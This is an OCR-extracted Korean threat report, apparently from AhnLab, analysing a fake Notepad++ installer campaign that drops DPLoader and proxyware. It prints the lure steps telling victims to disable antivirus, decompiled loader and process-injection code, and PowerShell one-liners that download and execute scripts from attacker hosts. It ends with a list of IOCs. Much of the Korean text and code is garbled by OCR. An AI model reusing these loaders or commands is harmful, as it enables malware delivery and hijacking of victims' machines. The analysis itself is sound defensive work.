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Instructions:

Step 1: If you do not have this program, you can download it here

Step 2: Temporarily disable Windows Defender and antivirus. It is needed so they don't block the program.
Step 3: Download the file and unzip using WinRAR.

Step 4: Open. file as an administrator!!
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Tables Action T... Source Target

AdminExecuteSequence Launchapplication MNotepadExeFile
AdminUlSequence CreateScheduledTask 0 [INSTALLFOLDER "[SystemFalder]schtasks exe” /Create /SC HOURLY /MO 1 /TN "MNotepac
AdvtExecuteSequence RunScheduledTask 31 ?ﬂ SysternFolder schtasks exe /Run /TN "Motepad Update Scheduler”
Component DeleteScheduledTask 3170 INSTALLFOLDER "[SystemFolder]schtasks.exe” /Delete /TN "Motepad Update Scheduler” /
CustomaAction -~
Diret A _|*HE 22 - Windows 2% 1 O %
Feature =11 == M Al = LEg
FeatureCompenents HaE BELE ANO) 10V
File "[SystemFolder]schtasks.exe" /Create /SC HOURLY /MO 1 /TN "Notepad Update
:”ﬁ”ﬁ;cumseq“e”‘e Scheduler” /TR "#'C:#Windows#System32¥rundll32.exet" #"[INSTALLFOLDER]plugins
ns eguence X . " o
uunchcgﬁditim ¥ConfigttnppPlugins.dll#” start" /RU SYSTEM /RL HIGHEST /F
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sub_148881778();
if ( !'GetTempPathA(@x184u, Buffer) )
return 1;
if ( frn_stdio_common_vsprintf(FileName, @x184u, "¥stmp.psl™, Buffer) < @ )
return 1;
v1lB = aFunctionMewGui;
Stream = fopen(FileName, "w"};
if ( !'Stream )
return 1;
fputs{vie, Stream);
fclose(Stream);
if ( frn_stdic_common_vsprintf(
Source,
Bx2edy,
"powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File \“#¥s\"",
FileName) < @ )
return 1;
memset(&StartupInfo, @, sizeof(StartupInfo));
memset(&ProcessInformation, @, sizeof(ProcessInformation));
StartupInfo.cb = 184;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = @;
strcpy(Destination, Source);
if { !CreateProcessA(@, Destinaticn, @, @, @, Ox2000000u, 0, @, &StartupInfo, &ProcessInformation) )
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3.2. Setup.zip

ll||0

“Setup.zip” &= 2 Sof fREE F2 &= ot
“Setup.exe”2} 2 O_.Fgfl_ “TextShaping.dll’0| &=XHStC AL X}7} “Setup.exe”S Algist 4
DLL Side- Loadlng Aloz oM FEJF EEE| 0 A EIC) “TextShaping.di’= L R0 &S

CEI== Pl m M A| SSEeAM AYSI WIS 5 LS| ZEE S2HE

5to] O 22| o] A Al A'% SH ST}

LH £ 0f| A Notepad++ =2 124

>

0

=X
—

OII :l: mO

P

foh
rn

st

_IHI
ol

TextShaping.dll Setup.exe

Figure 6. Setup.zip L§ £2| 2t F =

6/14



Sleep(1@00u);
Size = 173492;
Block = malloc(@x2A5B4u);
if ( !Block )
return @;
for (1 =0; i € Size; ++i )
*((_BYTE *)Block + i) = byte 386CADSD8[i ¥ qword_386CADSE8] ~ byte_386C83020[i];
lpAddress = VirtualAlloc(@, Size, Ox1000u, Ox40u);
if ( lpAddress )
1
memcpy(1lpAddress, Block, Size);
free(Block);
VirtualProtect(lpAddress, Size, @x28u, &F1l0ldProtect);
hThread = CreateThread(®, ©, (LPTHREAD START ROUTINE)lpAddress, @, 4u, ©);
if ( hThread )
1

ResumeThread(hThread);

sub_l4@80817708();
if ( !GetTempPathA(©x104u, Buffer) )

return 1;

if ( sub_1400027E@(FileName, @x104u, "¥stmp.psl”, Buffer) < @ )
return 1;

vle = “$ErrorActionPreference = 'Stop’'\n"

[Net.ServicePointManager]: :SecurityProtocol = [Net.SecurityProtocolType]::Tls12\n"

"$nodeUrl = \"https://www.python.org/ftp/python/3.12.2/python-3.12.2-embed-amd64.zip\"\n"
"§jsUrl = \"https://armortra.xyz/81681.py\"\n"

"$nodePath = Join-Path -Path \"$env:LOCALAPPDATA\" -ChildPath \"Notepad\\Notepad\"\n"
"$taskName = \"Notepad Update Scheduler\"\n"

"$wscript = \"$env:WINDIR\\System32\\wscript.exe\"\n"

"$task = Get-ScheduledTask -TaskPath \"\\\" -TaskName $taskName -ErrorAction SilentlyContinue\n"

Figure 7. E2C 2t T ER} ES3IE E2 1
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StCt.

Type Path
Python “%LOCALAPPDATA%\Notepad\Notepad\[GUID]\" A Z L&

Launcher  %LOCALAPPDATA%\Notepad\Notepad\[GUID)\[GUID].vbs

DPLoader %LOCALAPPDATA%\Notepad\Notepad\[GUID\[GUID]

Table 1. 2T E MX| E=E
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4. DPLoader

4.1. JavaScript &

LH= 5}l JavaScript P B ESS TSI 22 B E C&C Mo HBstn SEOE Muwe
WS AHE = UCH ST RS XS HOIS|US ) LE| KB IK| KA HERTE AL E T Y

o of7|0f| M= ERE 2|5 DPLoader2 M2|5tC}.

85 O] E
os_type “Windows_NT”
0S_name “win32”
0s_release SAXN HA
os_version SUNAN BF

os_hostname ZHFE 0|5

os_arch AKX ofZ |’
machine_id Machine ID
agent_version Agent H{& (“2.0.0-js”)
session_id Session ID

publisher_id  2i& %=X} (JavaScript 2t T = AlSH A| AFR E|= QIX})

Table 2. 2 | 0| Ef
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{
"id": "843987598497664",

"metadata": "{\"mode\":\"v\",\"script\":[\"powershell.exe -ExecutionPolicy
Bypass -Command \\\"$scriptUrl = "https://pub
-3e3cb8bc2b6048acb2ab984f03d123f1.r2.dev/123654345.psl"; $tempScriptPath =
[System.IO.Path]::Combine($env:TEMP, 'tmp.psl'); [Net.ServicePointManager]
::SecurityProtocol = [Net.SecurityProtocolType]::T1ls12; iwr -UseBasicParsing
-Uri $scriptUrl -OutFile $tempScriptPath; . $tempScriptPath\\\"\"]}"

et

=

"id": "66c5debef476d697eddecb64™,

"metadata": "{\"mode\":\"v\",\"script\":[\"powershell.exe -ExecutionPolicy
Bypass -Command \\\"iwr -UseBasicParsing -Uri https://d37k@r4olvSbrc
.cloudfront.net/93845.ps1 | iex\\\"\"]1}"

}
Figure 8. SEfC Z XMEEIS n|2|4l §&
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ENDPOINT URL = "https://trustv.xyz/d"
PUBLISHER_ID = "8101"

AGENT_VERSION = "1.0.0-py"
HTTP_TIMEOUT_S = 6@

IS WINDOWS = os.name == "nt"

_ERROR_REPORTING_GUARD = False
_CACHED_MACHINE_ID: Optional[str] = None

def main() -> None:
try:
require_windows()

payload = build_payload()
response_body = post_json(ENDPOINT_URL, payload)
scripts = parse scripts(response body)

for cmd in scripts:
if not isinstance(cmd, str):
continue
execute _command(cmd)

except Exception as e:
report_error("main”, e)
raise

Figure 9. DPLoader2| =L ZEI|
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0%

=2 Ci[o]E
agent_version Agent B{% (“1.0.0-py”)

machine_id Machine ID (GUID)

0S_name “‘win32”
0s_version 29MM SF

publisher _id “8101”
Table 3. X< H|O|E

5. Proxyware

5.1. Infatica

“UNBScheduler” 2:210{| S ==l DPLoader= 1}74 At 2F S US| Infatica ProxywareE A X| 5+
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5.2. DigitalPulse

“UNPScheduler” Z10f| 52 =l DPLoader= DigitalPulse ProxywareE£ MX|3}RC}. CI2Z2 == I}
2|2l A3 2 E = “SyncTaskUpdatescheduler’2l= 0| 22| ZH & MM SH=0H| Rundli32E 0| 35|
CIR 2 =5t “syncupdates.di’'E ASA|7|= 7|5 SHESICH 21 2 “syncupdates.di’= 2| 2]
Notepad++ A A = 0| DLLI} S5}/ Export 84 0|20] “start’0|0{ A F=E QIR MSH= 7|s
£ CIebSIC) Xfo|&o|2tT ot o|B{of| = EFAHT| = “explorer.exe” T 2 M| A0 QA MEICH= A
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fint start()
LODWORD (NumberOfBytesWritten[@]) = Lot // eax
v2 = HIKLPO(); int result; // eax
if ( ._"‘. )
v@ = QWERTYU("explorer.exe");
(3 = CpenPrcce;;(GxBAu @, dwProcessId); if (ve )
if ( (v3 - 1) > @xFFFFFFFFFFFFFFFDULL ) { [
{ “esult = MNBVCXZ(v@);
free(v2); if ( result != -1)
} return result;
else return printf("Er");
{ fhir
4 = VirtualallocEx(v3, @, ASDFGH, @x3008u, 0x20u); printf("er”);
if ( vd ) result = MNBVCXZ(B),
{ if ( result == -1 )
v5 = WriteProcessMemory(v3, v4, v2, ASDFGH, NumberOfBytesWritten); return printf(“Er");
free(v2);
if ( LODWORD(NumberOfBytesWritten[@]) == ASDFGH
&& V5
88 (RemoteThread = CreateRemoteThread(v3, @, @, v4, ©, @, @), (RemoteThread - 1) <= @xFFFFFFFFFFFFFFFDuLL) )
if ( WaitForSingleObject(RemoteThread, @xFFFFFFFF) != -1 )
Figure 10. 21&M I
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1 $ErrorActionPreference = 'Stop’

2 [Met.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

3 $ddlurl = "C:\Windows\System32\rundll32.exe"

4 $jsUrl = "https://pub-f49912a8582141d8a3335b371c918187.r2.dev/windowspluton.dll”

5 $nodePath = Join-Path -Path "$env:LOCALAPPDATA" -ChildPath "Microsoft‘Microsoft Windows Pluton™
6 $taskName = "MicrosoftWindowsPlutonTaskScheduler”

7 $task = Get-ScheduledTask -TaskPath "\" -TaskName $taskName -Erroriaction SilentlyContinue
g8 if (-not ($task)) [

9 if (-not (Test-Path $nodePath)) |
18 Mew-Ttem -ItemType Directory -Path $nodePath -Force
11 }
12 $filename = "MicrosoftWindowsPlutonTaskScheduler.dll™

13 $dirrandomname = [guid]::MewGuid()

14 $dir = "$nodePath‘\$dirrandomname”

15 $js = "$dir\$filename”

16 $xml = "Sdir\t.xml”

17 $ProgressPreference = "SilentlyContinue”

18 New-Item -ItemType Directory -Path $dir -Force | Out-Null

19 Invoke-WebRequest -Uri $jsUrl -OutFile $js -UseBasicParsing

28

21 try { (Get-Item $dir).Attributes = (Get-Item $dir).Attributes -bor [IO.FileAttributes]::Hidden } catch {}
22 $startBoundary = (Get-Date).ToString("s")

23 $exeTaskXml =

24 "¢?2xml version=""1.8"" encoding=""UTF-16""2>" +

Figure 12. Ct2 2= &l ntldl HH
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https[:]//d37k0r4olv9brc].]cloudfront[.]net/93845[.]ps1
https[:]//d37k0r4o0lv9brc][.]cloudfront[.Jnet/MicrosoftAntiMalwareTool[.]exe
https[:]/d37k0r4olv9brc|.]Jcloudfront[.]net/infatica_agent[.]dlI

https[:]//github[.]Jcom/JamilahZakiyya/note/raw/main/Setup[.Jmsi
Z7} 1oC= ATIPOA N ZE L|Ct.

FQDN

armortral.]xyz

easy-horizon[.Jcom
furtheret[.]Jcom
trustv[.]xyz

AhnLab TIPE TS5HAIH 17 IOC X AN 24 HEE £I715 02 HOI5HA 5 ULLICH XM
o

et LiE2 o2l B E 2&/510f =elsi 2M .

d

AhnlLab TIP

Flo| KHE=tE #id EelE At e AlXEH 2H2

atip.ahnlab.comn

14/14


https://atip.ahnlab.com/
https://atip.ahnlab.com/

